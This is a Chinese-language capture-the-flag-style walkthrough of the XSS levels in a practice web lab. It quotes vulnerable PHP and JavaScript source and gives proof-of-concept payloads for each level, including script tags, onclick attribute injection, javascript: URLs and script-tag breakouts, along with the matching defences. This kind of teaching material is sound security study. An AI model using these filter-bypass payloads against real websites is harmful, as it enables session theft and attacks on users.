Cross-Site Scripting
简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
反射型xss(get)
最大长度改一下 改成80
输入
<script>alert('xss')</script>
get形式的XSS会生成相应的url
反射型xss(post)
这个要先登录 然后是上一题的页面
post形式的XSS不会在url显示
存储型XSS
输入
<script>alert("xss")</script>
这类XSS漏洞注入语句会到数据库中,每次进入都会执行
DOM型XSS
DOM
DOM 是 W3C(万维网联盟)的标准。
DOM 定义了访问 HTML 和 XML 文档的标准:
“W3C 文档对象模型 (DOM) 是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。”
W3C DOM 标准被分为 3 个不同的部分:
•核心 DOM - 针对任何结构化文档的标准模型
•XML DOM - 针对 XML 文档的标准模型
•HTML DOM - 针对 HTML 文档的标准模型
注:DOM 是 Document Object Model(文档对象模型)的缩写。
②漏洞利用
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口,通过DOM的某些方法对树进行操作,比如对标签的添加、改变和删除等等。
DOM相当于在前端提供了一个 通过JS去对HTML进行操作 的接口
源码中看到
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" οnmοuseοver="alert('xss')">
//试试:' οnclick="alert('xss')">,闭合掉就行
</script>
代码看出,通过value方式将text的值赋值为str,也就是框里面的值,然后通过innerHTML将标签内的值取出来,比如<label id="lb1">123</label>
,取出来的值就是123
所以结合前面的’做一个闭合,像<script>
这种有前后标签闭合的就不太方便用了,用提示里面的onclick
来构造,' onclick=alert('xss')>
DOM型XSS-X
源码
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
window.location 对象所包含的属性如下:
构造语句' onclick=alert('xss')>
和上一题不同之处:值是从URL中获取到的,就像反射型XSS一样。
XSS之盲打
注: 盲打并不是一种攻击类型,而是一种场景,输入的东西并不会在前端显示,而是提交到了后台。
<script>alert('xss')</script>
然后
进去后台发现已经受到了攻击
XSS之过滤
输入<script>alert('xss')</script>
发现被过滤了
源码
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
双写绕过也无效
发现script
被过滤 <>
似乎没有
改变大小写
xss之htmlspecialchars
htmlspecialchars()
函数把一些预定义的字符转换为HTML实体,下列都是预定义字符。
& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
输入<script>alert('xss')</script>
默认情况的编码是不会对’(单引号)进行编码的,尝试利用它来构造
试试onclick=alert(‘xss’)
为了闭合 前后都加 '
XSS前后的引号换为双引号
' οnclick='alert("xss")'
XSS之href输出
查看源码
//输出在a标签的href属性里面,可以使用javascript协议来执行js
//防御:只允许http,https,其次在进行htmlspecialchars处理
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
这次htmlspecialchars函数使用了ENT_QUOTES类,也加上了对单引号的转义,但是在a标签的href属性里面,可以使用javascript协议来执行代码
javascript:alert(123)
XSS之js输出
源码
$ms='kobe';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
这里使用的时候应该是先把之前的
</script><script>alert('xss')</script>
直接成功弹框。
这里输入动态的生成到了js中形成xss,javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义
输出点在js中的xss问题在JS的输出点应该使用\
对特殊字符进行转义